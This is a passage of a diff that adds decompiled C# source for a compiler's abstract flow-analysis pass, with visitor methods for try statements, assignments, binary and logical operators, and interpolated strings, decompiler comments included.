override BoundNode VisitArrayInitialization(BoundArrayInitialization node) + { + ImmutableArray.Enumerator enumerator = node.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + return null; + } + + public override BoundNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + if (node.Argument is BoundMethodGroup boundMethodGroup) + { + if (node.MethodOpt?.OriginalDefinition is LocalFunctionSymbol symbol) + { + VisitLocalFunctionUse(symbol, node.Syntax, isCall: false); + } + else + { + MethodSymbol methodOpt = node.MethodOpt; + if ((object)methodOpt != null) + { + BoundExpression receiverOpt = boundMethodGroup.ReceiverOpt; + if (receiverOpt != null && !ignoreReceiver(methodOpt)) + { + EnterRegionIfNeeded(boundMethodGroup); + VisitRvalue(receiverOpt); + LeaveRegionIfNeeded(boundMethodGroup); + } + } + } + } + else + { + VisitRvalue(node.Argument); + } + return null; + static bool ignoreReceiver(MethodSymbol method) + { + if (method.IsStatic) + { + return !method.IsExtensionMethod; + } + return false; + } + } + + public override BoundNode VisitTypeExpression(BoundTypeExpression node) + { + return null; + } + + public override BoundNode VisitTypeOrValueExpression(BoundTypeOrValueExpression node) + { + return Visit(node.Data.ValueExpression); + } + + public override BoundNode VisitLiteral(BoundLiteral node) + { + SplitIfBooleanConstant(node); + return null; + } + + public override BoundNode VisitUtf8String(BoundUtf8String node) + { + return null; + } + + protected void SplitIfBooleanConstant(BoundExpression node) + { + ConstantValue constantValueOpt = node.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsBoolean) + { + bool booleanValue = constantValueOpt.BooleanValue; + TLocalState val = UnreachableState(); + Split(); + if (booleanValue) + { + StateWhenFalse = val; + } + else + { + StateWhenTrue = val; + } + } + } + + public override BoundNode VisitLocalId(BoundLocalId node) + { + return null; + } + + public override BoundNode VisitParameterId(BoundParameterId node) + { + return null; + } + + public override BoundNode VisitMethodDefIndex(BoundMethodDefIndex node) + { + return null; + } + + public override BoundNode VisitStateMachineInstanceId(BoundStateMachineInstanceId node) + { + return null; + } + + public override BoundNode VisitMaximumMethodDefIndex(BoundMaximumMethodDefIndex node) + { + return null; + } + + public override BoundNode VisitModuleVersionId(BoundModuleVersionId node) + { + return null; + } + + public override BoundNode VisitModuleVersionIdString(BoundModuleVersionIdString node) + { + return null; + } + + public override BoundNode VisitInstrumentationPayloadRoot(BoundInstrumentationPayloadRoot node) + { + return null; + } + + public override BoundNode VisitSourceDocumentIndex(BoundSourceDocumentIndex node) + { + return null; + } + + public override BoundNode VisitConversion(BoundConversion node) + { + if (node.ConversionKind == ConversionKind.MethodGroup) + { + if (node.IsExtensionMethod || ((object)node.SymbolOpt != null && node.SymbolOpt.RequiresInstanceReceiver)) + { + BoundExpression receiverOpt = ((BoundMethodGroup)node.Operand).ReceiverOpt; + EnterRegionIfNeeded(node.Operand); + VisitRvalue(receiverOpt); + LeaveRegionIfNeeded(node.Operand); + } + else if (node.SymbolOpt?.OriginalDefinition is LocalFunctionSymbol symbol) + { + VisitLocalFunctionUse(symbol, node.Syntax, isCall: false); + } + } + else + { + Visit(node.Operand); + } + AfterVisitConversion(node); + return null; + } + + protected virtual void AfterVisitConversion(BoundConversion node) + { + } + + public override BoundNode VisitIfStatement(BoundIfStatement node) + { + VisitCondition(node.Condition); + TLocalState stateWhenTrue = StateWhenTrue; + TLocalState stateWhenFalse = StateWhenFalse; + SetState(stateWhenTrue); + VisitStatement(node.Consequence); + stateWhenTrue = State; + SetState(stateWhenFalse); + if (node.AlternativeOpt != null) + { + VisitStatement(node.AlternativeOpt); + } + Join(ref State, ref stateWhenTrue); + return null; + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + SavedPending oldPending = SavePending(); + TLocalState tryState = State.Clone(); + SavedPending oldPending2 = SavePending(); + VisitTryBlockWithAnyTransferFunction(node.TryBlock, node, ref tryState); + TLocalState finallyState = tryState.Clone(); + TLocalState self = State; + ImmutableArray.Enumerator enumerator = node.CatchBlocks.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundCatchBlock current = enumerator.Current; + SetState(tryState.Clone()); + VisitCatchBlockWithAnyTransferFunction(current, ref finallyState); + Join(ref self, ref State); + } + RestorePending(oldPending2); + if (node.FinallyBlockOpt != null) + { + SetState(finallyState); + SavedPending oldPending3 = SavePending(); + TLocalState stateMovedUp = ReachableBottomState(); + VisitFinallyBlockWithAnyTransferFunction(node.FinallyBlockOpt, ref stateMovedUp); + foreach (PendingBranch item in oldPending3.PendingBranches.AsEnumerable()) + { + if (item.Branch != null && item.Branch.Kind != BoundKind.YieldReturnStatement) + { + updatePendingBranchState(ref item.State, ref stateMovedUp); + if (item.IsConditionalState) + { + updatePendingBranchState(ref item.StateWhenTrue, ref stateMovedUp); + updatePendingBranchState(ref item.StateWhenFalse, ref stateMovedUp); + } + } + } + RestorePending(oldPending3); + Meet(ref self, ref State); + if (_nonMonotonicTransfer) + { + Join(ref self, ref stateMovedUp); + } + } + SetState(self); + RestorePending(oldPending); + return null; + void updatePendingBranchState(ref TLocalState stateToUpdate, ref TLocalState stateMovedUpInFinally) + { + Meet(ref stateToUpdate, ref State); + if (_nonMonotonicTransfer) + { + Join(ref stateToUpdate, ref stateMovedUpInFinally); + } + } + } + + protected virtual void JoinTryBlockState(ref TLocalState self, ref TLocalState other) + { + Join(ref self, ref other); + } + + private void VisitTryBlockWithAnyTransferFunction(BoundStatement tryBlock, BoundTryStatement node, ref TLocalState tryState) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + if (_nonMonotonicTransfer) + { + Optional nonMonotonicState = NonMonotonicState; + NonMonotonicState = Optional.op_Implicit(ReachableBottomState()); + VisitTryBlock(tryBlock, node, ref tryState); + TLocalState other = NonMonotonicState.Value; + Join(ref tryState, ref other); + if (nonMonotonicState.HasValue) + { + TLocalState self = nonMonotonicState.Value; + JoinTryBlockState(ref self, ref other); + nonMonotonicState = Optional.op_Implicit(self); + } + NonMonotonicState = nonMonotonicState; + } + else + { + VisitTryBlock(tryBlock, node, ref tryState); + } + } + + protected virtual void VisitTryBlock(BoundStatement tryBlock, BoundTryStatement node, ref TLocalState tryState) + { + VisitStatement(tryBlock); + } + + private void VisitCatchBlockWithAnyTransferFunction(BoundCatchBlock catchBlock, ref TLocalState finallyState) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (_nonMonotonicTransfer) + { + Optional nonMonotonicState = NonMonotonicState; + NonMonotonicState = Optional.op_Implicit(ReachableBottomState()); + VisitCatchBlock(catchBlock, ref finallyState); + TLocalState other = NonMonotonicState.Value; + Join(ref finallyState, ref other); + if (nonMonotonicState.HasValue) + { + TLocalState self = nonMonotonicState.Value; + JoinTryBlockState(ref self, ref other); + nonMonotonicState = Optional.op_Implicit(self); + } + NonMonotonicState = nonMonotonicState; + } + else + { + VisitCatchBlock(catchBlock, ref finallyState); + } + } + + protected virtual void VisitCatchBlock(BoundCatchBlock catchBlock, ref TLocalState finallyState) + { + if (catchBlock.ExceptionSourceOpt != null) + { + VisitLvalue(catchBlock.ExceptionSourceOpt); + } + if (catchBlock.ExceptionFilterPrologueOpt != null) + { + VisitStatementList(catchBlock.ExceptionFilterPrologueOpt); + } + if (catchBlock.ExceptionFilterOpt != null) + { + VisitCondition(catchBlock.ExceptionFilterOpt); + SetState(StateWhenTrue); + } + VisitStatement(catchBlock.Body); + } + + private void VisitFinallyBlockWithAnyTransferFunction(BoundStatement finallyBlock, ref TLocalState stateMovedUp) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (_nonMonotonicTransfer) + { + Optional nonMonotonicState = NonMonotonicState; + NonMonotonicState = Optional.op_Implicit(ReachableBottomState()); + VisitFinallyBlock(finallyBlock, ref stateMovedUp); + TLocalState other = NonMonotonicState.Value; + Join(ref stateMovedUp, ref other); + if (nonMonotonicState.HasValue) + { + TLocalState self = nonMonotonicState.Value; + JoinTryBlockState(ref self, ref other); + nonMonotonicState = Optional.op_Implicit(self); + } + NonMonotonicState = nonMonotonicState; + } + else + { + VisitFinallyBlock(finallyBlock, ref stateMovedUp); + } + } + + protected virtual void VisitFinallyBlock(BoundStatement finallyBlock, ref TLocalState stateMovedUp) + { + VisitStatement(finallyBlock); + } + + public override BoundNode VisitExtractedFinallyBlock(BoundExtractedFinallyBlock node) + { + return VisitBlock(node.FinallyBlock); + } + + public override BoundNode VisitReturnStatement(BoundReturnStatement node) + { + BoundNode result = VisitReturnStatementNoAdjust(node); + PendingBranches.Add(new PendingBranch(node, State, null)); + SetUnreachable(); + return result; + } + + protected virtual BoundNode VisitReturnStatementNoAdjust(BoundReturnStatement node) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + VisitRvalue(node.ExpressionOpt, (int)node.RefKind > 0); + if ((int)node.RefKind != 0) + { + WriteArgument(node.ExpressionOpt, node.RefKind, null); + } + return null; + } + + public override BoundNode VisitThisReference(BoundThisReference node) + { + return null; + } + + public override BoundNode VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node) + { + return null; + } + + public override BoundNode VisitHostObjectMemberReference(BoundHostObjectMemberReference node) + { + return null; + } + + public override BoundNode VisitParameter(BoundParameter node) + { + return null; + } + + protected virtual void VisitLvalueParameter(BoundParameter node) + { + } + + public override BoundNode VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + VisitArguments(node.Arguments, node.ArgumentRefKindsOpt, node.Constructor); + VisitRvalue(node.InitializerExpressionOpt); + return null; + } + + public override BoundNode VisitCollectionExpression(BoundCollectionExpression node) + { + VisitCollectionExpression(node.Elements); + return null; + } + + public override BoundNode VisitUnconvertedCollectionExpression(BoundUnconvertedCollectionExpression node) + { + VisitCollectionExpression(node.Elements); + return null; + } + + private void VisitCollectionExpression(ImmutableArray elements) + { + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + } + + public override BoundNode VisitCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node) + { + VisitRvalue(node.Expression); + return null; + } + + public override BoundNode VisitNewT(BoundNewT node) + { + VisitRvalue(node.InitializerExpressionOpt); + return null; + } + + public override BoundNode VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node) + { + VisitRvalue(node.InitializerExpressionOpt); + return null; + } + + protected virtual void PropertySetter(BoundExpression node, BoundExpression receiver, MethodSymbol setter, BoundExpression value = null) + { + VisitReceiverAfterCall(receiver, setter); + } + + private bool RegularPropertyAccess(BoundExpression expr) + { + if (expr.Kind != BoundKind.PropertyAccess) + { + return false; + } + return !Binder.AccessingAutoPropertyFromConstructor((BoundPropertyAccess)expr, _symbol); + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + if (RegularPropertyAccess(node.Left)) + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)node.Left; + PropertySymbol propertySymbol = boundPropertyAccess.PropertySymbol; + if ((int)propertySymbol.RefKind == 0) + { + MethodSymbol writeMethod = GetWriteMethod(propertySymbol); + VisitReceiverBeforeCall(boundPropertyAccess.ReceiverOpt, writeMethod); + VisitRvalue(node.Right); + PropertySetter(node, boundPropertyAccess.ReceiverOpt, writeMethod, node.Right); + return null; + } + } + VisitLvalue(node.Left); + VisitRvalue(node.Right, node.IsRef); + if (node.IsRef) + { + RefKind refKind = (RefKind)((node.Left.Kind == BoundKind.BadExpression) ? 1 : ((int)node.Left.GetRefKind())); + WriteArgument(node.Right, refKind, null); + } + return null; + } + + public override BoundNode VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + VisitLvalue(node.Left); + VisitRvalue(node.Right); + return null; + } + + public sealed override BoundNode VisitOutDeconstructVarPendingInference(OutDeconstructVarPendingInference node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/AbstractFlowPass.cs", 2073); + } + + public override BoundNode VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + VisitCompoundAssignmentTarget(node); + VisitRvalue(node.Right); + AfterRightHasBeenVisited(node); + return null; + } + + protected void VisitCompoundAssignmentTarget(BoundCompoundAssignmentOperator node) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + if (RegularPropertyAccess(node.Left)) + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)node.Left; + PropertySymbol propertySymbol = boundPropertyAccess.PropertySymbol; + if ((int)propertySymbol.RefKind == 0) + { + MethodSymbol readMethod = GetReadMethod(propertySymbol); + VisitReceiverBeforeCall(boundPropertyAccess.ReceiverOpt, readMethod); + VisitReceiverAfterCall(boundPropertyAccess.ReceiverOpt, readMethod); + return; + } + } + VisitRvalue(node.Left, isKnownToBeAnLvalue: true); + } + + protected void AfterRightHasBeenVisited(BoundCompoundAssignmentOperator node) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + if (RegularPropertyAccess(node.Left)) + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)node.Left; + PropertySymbol propertySymbol = boundPropertyAccess.PropertySymbol; + if ((int)propertySymbol.RefKind == 0) + { + MethodSymbol writeMethod = GetWriteMethod(propertySymbol); + PropertySetter(node, boundPropertyAccess.ReceiverOpt, writeMethod); + VisitReceiverAfterCall(boundPropertyAccess.ReceiverOpt, writeMethod); + } + } + } + + public override BoundNode VisitFieldAccess(BoundFieldAccess node) + { + VisitFieldAccessInternal(node.ReceiverOpt, node.FieldSymbol); + SplitIfBooleanConstant(node); + return null; + } + + private void VisitFieldAccessInternal(BoundExpression receiverOpt, FieldSymbol fieldSymbol) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + if ((object)fieldSymbol != null && (fieldSymbol.IsFixedSizeBuffer || (!fieldSymbol.IsStatic && (int)fieldSymbol.ContainingType.TypeKind == 10 && receiverOpt != null && receiverOpt.Kind != BoundKind.TypeExpression && (object)receiverOpt.Type != null && !receiverOpt.Type.IsPrimitiveRecursiveStruct()))) + { + VisitLvalue(receiverOpt); + } + else + { + VisitRvalue(receiverOpt); + } + } + + public override BoundNode VisitFieldInfo(BoundFieldInfo node) + { + return null; + } + + public override BoundNode VisitMethodInfo(BoundMethodInfo node) + { + return null; + } + + public override BoundNode VisitPropertyAccess(BoundPropertyAccess node) + { + PropertySymbol propertySymbol = node.PropertySymbol; + if (Binder.AccessingAutoPropertyFromConstructor(node, _symbol)) + { + SynthesizedBackingFieldSymbol synthesizedBackingFieldSymbol = (propertySymbol as SourcePropertySymbolBase)?.BackingField; + if (synthesizedBackingFieldSymbol != null) + { + VisitFieldAccessInternal(node.ReceiverOpt, synthesizedBackingFieldSymbol); + return null; + } + } + MethodSymbol readMethod = GetReadMethod(propertySymbol); + VisitReceiverBeforeCall(node.ReceiverOpt, readMethod); + VisitReceiverAfterCall(node.ReceiverOpt, readMethod); + return null; + } + + public override BoundNode VisitEventAccess(BoundEventAccess node) + { + VisitFieldAccessInternal(node.ReceiverOpt, node.EventSymbol.AssociatedField); + return null; + } + + public override BoundNode VisitRangeVariable(BoundRangeVariable node) + { + return null; + } + + public override BoundNode VisitQueryClause(BoundQueryClause node) + { + VisitRvalue(node.UnoptimizedForm ?? node.Value); + return null; + } + + private BoundNode VisitMultipleLocalDeclarationsBase(BoundMultipleLocalDeclarationsBase node) + { + ImmutableArray.Enumerator enumerator = node.LocalDeclarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundLocalDeclaration current = enumerator.Current; + Visit(current); + } + return null; + } + + public override BoundNode VisitMultipleLocalDeclarations(BoundMultipleLocalDeclarations node) + { + return VisitMultipleLocalDeclarationsBase(node); + } + + public override BoundNode VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node) + { + if (AwaitUsingAndForeachAddsPendingBranch && node.AwaitOpt != null) + { + PendingBranches.Add(new PendingBranch(node, State, null)); + } + return VisitMultipleLocalDeclarationsBase(node); + } + + public override BoundNode VisitWhileStatement(BoundWhileStatement node) + { + LoopHead(node); + VisitCondition(node.Condition); + TLocalState stateWhenTrue = StateWhenTrue; + TLocalState stateWhenFalse = StateWhenFalse; + SetState(stateWhenTrue); + VisitStatement(node.Body); + ResolveContinues(node.ContinueLabel); + LoopTail(node); + ResolveBreaks(stateWhenFalse, node.BreakLabel); + return null; + } + + public override BoundNode VisitWithExpression(BoundWithExpression node) + { + VisitRvalue(node.Receiver); + VisitObjectOrCollectionInitializerExpression(node.InitializerExpression.Initializers); + return null; + } + + public override BoundNode VisitArrayAccess(BoundArrayAccess node) + { + VisitRvalue(node.Expression); + ImmutableArray.Enumerator enumerator = node.Indices.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + return null; + } + + public override BoundNode VisitInlineArrayAccess(BoundInlineArrayAccess node) + { + VisitRvalue(node.Expression); + VisitRvalue(node.Argument); + AfterVisitInlineArrayAccess(node); + return null; + } + + protected virtual void AfterVisitInlineArrayAccess(BoundInlineArrayAccess node) + { + } + + protected virtual void VisitLvalue(BoundInlineArrayAccess access) + { + VisitLvalue(access.Expression); + VisitRvalue(access.Argument); + } + + public override BoundNode VisitBinaryOperator(BoundBinaryOperator node) + { + if (node.OperatorKind.IsLogical()) + { + VisitBinaryLogicalOperatorChildren(node); + } + else + { + InterpolatedStringHandlerData? interpolatedStringHandlerData = node.InterpolatedStringHandlerData; + if (interpolatedStringHandlerData.HasValue) + { + interpolatedStringHandlerData.GetValueOrDefault(); + VisitBinaryInterpolatedStringAddition(node); + } + else + { + VisitBinaryOperatorChildren(node); + } + } + return null; + } + + public override BoundNode VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + VisitBinaryLogicalOperatorChildren(node); + return null; + } + + private void VisitBinaryLogicalOperatorChildren(BoundExpression node) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BoundExpression boundExpression = node; + while (true) + { + BoundExpression boundExpression2; + switch (boundExpression.Kind) + { + case BoundKind.BinaryOperator: + { + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)boundExpression; + if (boundBinaryOperator.OperatorKind.IsLogical()) + { + boundExpression2 = boundExpression; + boundExpression = boundBinaryOperator.Left; + goto IL_0049; + } + break; + } + case BoundKind.UserDefinedConditionalLogicalOperator: + boundExpression2 = boundExpression; + boundExpression = ((BoundUserDefinedConditionalLogicalOperator)boundExpression2).Left; + goto IL_0049; + } + break; + IL_0049: + ArrayBuilderExtensions.Push(instance, boundExpression2); + } + VisitCondition(boundExpression); + while (true) + { + BoundExpression boundExpression2 = ArrayBuilderExtensions.Pop(instance); + BinaryOperatorKind operatorKind; + BoundExpression right; + switch (boundExpression2.Kind) + { + case BoundKind.BinaryOperator: + { + BoundBinaryOperator obj2 = (BoundBinaryOperator)boundExpression2; + operatorKind = obj2.OperatorKind; + right = obj2.Right; + break; + } + case BoundKind.UserDefinedConditionalLogicalOperator: + { + BoundUserDefinedConditionalLogicalOperator obj = (BoundUserDefinedConditionalLogicalOperator)boundExpression2; + operatorKind = obj.OperatorKind; + right = obj.Right; + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)boundExpression2.Kind); + } + bool flag = operatorKind.Operator() == BinaryOperatorKind.And; + bool isBool = operatorKind.OperandTypes() == BinaryOperatorKind.Bool; + TLocalState leftTrue = StateWhenTrue; + TLocalState leftFalse = StateWhenFalse; + SetState(flag ? leftTrue : leftFalse); + AfterLeftChildOfBinaryLogicalOperatorHasBeenVisited(boundExpression2, right, flag, isBool, ref leftTrue, ref leftFalse); + if (instance.Count == 0) + { + break; + } + AdjustConditionalState(boundExpression2); + } + instance.Free(); + } + + protected virtual void AfterLeftChildOfBinaryLogicalOperatorHasBeenVisited(BoundExpression binary, BoundExpression right, bool isAnd, bool isBool, ref TLocalState leftTrue, ref TLocalState leftFalse) + { + Visit(right); + AfterRightChildOfBinaryLogicalOperatorHasBeenVisited(right, isAnd, isBool, ref leftTrue, ref leftFalse); + } + + protected void AfterRightChildOfBinaryLogicalOperatorHasBeenVisited(BoundExpression right, bool isAnd, bool isBool, ref TLocalState leftTrue, ref TLocalState leftFalse) + { + AdjustConditionalState(right); + if (!isBool) + { + Unsplit(); + Split(); + } + TLocalState self = StateWhenTrue; + TLocalState self2 = StateWhenFalse; + if (isAnd) + { + Join(ref self2, ref leftFalse); + } + else + { + Join(ref self, ref leftTrue); + } + SetConditionalState(self, self2); + if (!isBool) + { + Unsplit(); + } + } + + private void VisitBinaryOperatorChildren(BoundBinaryOperator node) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BoundBinaryOperator boundBinaryOperator = node; + do + { + ArrayBuilderExtensions.Push(instance, boundBinaryOperator); + boundBinaryOperator = boundBinaryOperator.Left as BoundBinaryOperator; + } + while (boundBinaryOperator != null && !boundBinaryOperator.OperatorKind.IsLogical() && !boundBinaryOperator.InterpolatedStringHandlerData.HasValue); + VisitBinaryOperatorChildren(instance); + instance.Free(); + } + + protected virtual void VisitBinaryOperatorChildren(ArrayBuilder stack) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + BoundBinaryOperator boundBinaryOperator = ArrayBuilderExtensions.Pop(stack); + if (VisitPossibleConditionalAccess(boundBinaryOperator.Left, out TLocalState stateWhenNotNull) && canLearnFromOperator(boundBinaryOperator) && isKnownNullOrNotNull(boundBinaryOperator.Right)) + { + if (_nonMonotonicTransfer) + { + Optional nonMonotonicState = NonMonotonicState; + NonMonotonicState = Optional.op_Implicit(ReachableBottomState()); + VisitRvalue(boundBinaryOperator.Right); + TLocalState other = NonMonotonicState.Value; + Join(ref stateWhenNotNull, ref other); + if (nonMonotonicState.HasValue) + { + TLocalState self = nonMonotonicState.Value; + Join(ref self, ref other); + nonMonotonicState = Optional.op_Implicit(self); + } + NonMonotonicState = nonMonotonicState; + } + else + { + VisitRvalue(boundBinaryOperator.Right); + Meet(ref stateWhenNotNull, ref State); + } + ConstantValue? constantValueOpt = boundBinaryOperator.Right.ConstantValueOpt; + bool flag = constantValueOpt != null && constantValueOpt.IsNull; + SetConditionalState((flag == isEquals(boundBinaryOperator)) ? (whenTrue: State, whenFalse: stateWhenNotNull) : (whenTrue: stateWhenNotNull, whenFalse: State)); + if (stack.Count == 0) + { + return; + } + boundBinaryOperator = ArrayBuilderExtensions.Pop(stack); + } + while (true) + { + if (!canLearnFromOperator(boundBinaryOperator) || !learnFromOperator(boundBinaryOperator)) + { + Unsplit(); + VisitRvalue(boundBinaryOperator.Right); + } + if (stack.Count != 0) + { + boundBinaryOperator = ArrayBuilderExtensions.Pop(stack); + continue; + } + break; + } + static bool canLearnFromOperator(BoundBinaryOperator binary) + { + BinaryOperatorKind operatorKind = binary.OperatorKind; + BinaryOperatorKind binaryOperatorKind = operatorKind.Operator(); + if ((binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) ? true : false) + { + if (operatorKind.IsUserDefined()) + { + return operatorKind.IsLifted(); + } + return true; + } + return false; + } + static bool isEquals(BoundBinaryOperator binary) + { + return binary.OperatorKind.Operator() == BinaryOperatorKind.Equal; + } + static bool isKnownNullOrNotNull(BoundExpression expr) + { + bool flag2 = expr.ConstantValueOpt != null; + BoundConversion boundConversion; + bool flag3; + if (!flag2) + { + boundConversion = expr as BoundConversion; + if (boundConversion != null) + { + ConversionKind conversionKind = boundConversion.ConversionKind; + if (conversionKind == ConversionKind.ImplicitNullable || conversionKind == ConversionKind.ExplicitNullable) + { + flag3 = true; + goto IL_002e; + } + } + flag3 = false; + goto IL_002e; + } + goto IL_0045; + IL_0045: + return flag2; + IL_002e: + flag2 = flag3 && boundConversion.Operand.Type.IsNonNullableValueType(); + goto IL_0045; + } + bool learnFromOperator(BoundBinaryOperator binary) + { + if (isKnownNullOrNotNull(binary.Left) && TryVisitConditionalAccess(binary.Right, out TLocalState stateWhenNotNull2)) + { + ConstantValue? constantValueOpt2 = binary.Left.ConstantValueOpt; + bool flag2 = constantValueOpt2 != null && constantValueOpt2.IsNull; + SetConditionalState((flag2 == isEquals(binary)) ? (whenTrue: State, whenFalse: stateWhenNotNull2) : (whenTrue: stateWhenNotNull2, whenFalse: State)); + return true; + } + if (IsConditionalState) + { + ConstantValue constantValueOpt3 = binary.Right.ConstantValueOpt; + if (constantValueOpt3 != null && constantValueOpt3.IsBoolean) + { + TLocalState val = StateWhenTrue.Clone(); + TLocalState val2 = StateWhenFalse.Clone(); + TLocalState val3 = val; + Unsplit(); + Visit(binary.Right); + SetConditionalState((isEquals(binary) == constantValueOpt3.BooleanValue) ? (whenTrue: val3, whenFalse: val2) : (whenTrue: val2, whenFalse: val3)); + return true; + } + } + ConstantValue constantValueOpt4 = binary.Left.ConstantValueOpt; + if (constantValueOpt4 != null && constantValueOpt4.IsBoolean) + { + Unsplit(); + Visit(binary.Right); + if (IsConditionalState && isEquals(binary) != constantValueOpt4.BooleanValue) + { + SetConditionalState(StateWhenFalse, StateWhenTrue); + } + return true; + } + return false; + } + } + + protected void VisitBinaryInterpolatedStringAddition(BoundBinaryOperator node) + { + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + InterpolatedStringHandlerData valueOrDefault = node.InterpolatedStringHandlerData.GetValueOrDefault(); + node.VisitBinaryOperatorInterpolatedString, AbstractFlowPass)>((instance, this), delegate(BoundInterpolatedString interpolatedString, (ArrayBuilder parts, AbstractFlowPass @this) arg) + { + arg.parts.Add(interpolatedString); + return true; + }, delegate(BoundBinaryOperator op, (ArrayBuilder parts, AbstractFlowPass @this) arg) + { + arg.@this.VisitInterpolatedStringBinaryOperatorNode(op); + }); + VisitInterpolatedStringHandlerConstructor(valueOrDefault.Construction); + bool flag = false; + bool hasTrailingHandlerValidityParameter = valueOrDefault.HasTrailingHandlerValidityParameter; + bool flag2 = valueOrDefault.UsesBoolReturns || hasTrailingHandlerValidityParameter; + TLocalState shortCircuitState = (flag2 ? State.Clone() : default(TLocalState)); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundInterpolatedString current = enumerator.Current; + flag |= VisitInterpolatedStringHandlerParts(current, valueOrDefault.UsesBoolReturns, flag || hasTrailingHandlerValidityParameter, ref shortCircuitState); + } + if (flag2) + { + Join(ref State, ref shortCircuitState); + } + instance.Free(); + } + + protected virtual void VisitInterpolatedStringBinaryOperatorNode(BoundBinaryOperator node) + { + } + + protected virtual bool VisitInterpolatedStringHandlerParts(BoundInterpolatedStringBase node, bool usesBoolReturns, bool firstPartIsConditional, ref TLocalState? shortCircuitState) + { + ImmutableArray parts = node.Parts; + if (parts.IsEmpty) + { + return false; + } + ReadOnlySpan readOnlySpan; + ReadOnlySpan readOnlySpan2; + if (firstPartIsConditional) + { + parts = node.Parts; + readOnlySpan = parts.AsSpan(); + } + else + { + parts = node.Parts; + VisitRvalue(parts[0]); + shortCircuitState = State.Clone(); + parts = node.Parts; + readOnlySpan2 = parts.AsSpan(); + readOnlySpan = readOnlySpan2.Slice(1, readOnlySpan2.Length - 1); + } + readOnlySpan2 = readOnlySpan; + for (int i = 0; i < readOnlySpan2.Length; i++) + { + BoundExpression node2 = readOnlySpan2[i]; + VisitRvalue(node2); + if (usesBoolReturns) + { + Join(ref shortCircuitState, ref State); + } + } + return true; + } + + public override BoundNode VisitUnaryOperator(BoundUnaryOperator node) + { + if (node.OperatorKind == UnaryOperatorKind.BoolLogicalNegation) + { + VisitCondition(node.Operand); + SetConditionalState(StateWhenFalse, StateWhenTrue); + } + else + { + VisitRvalue(node.Operand); + } + return null; + } + + public override BoundNode 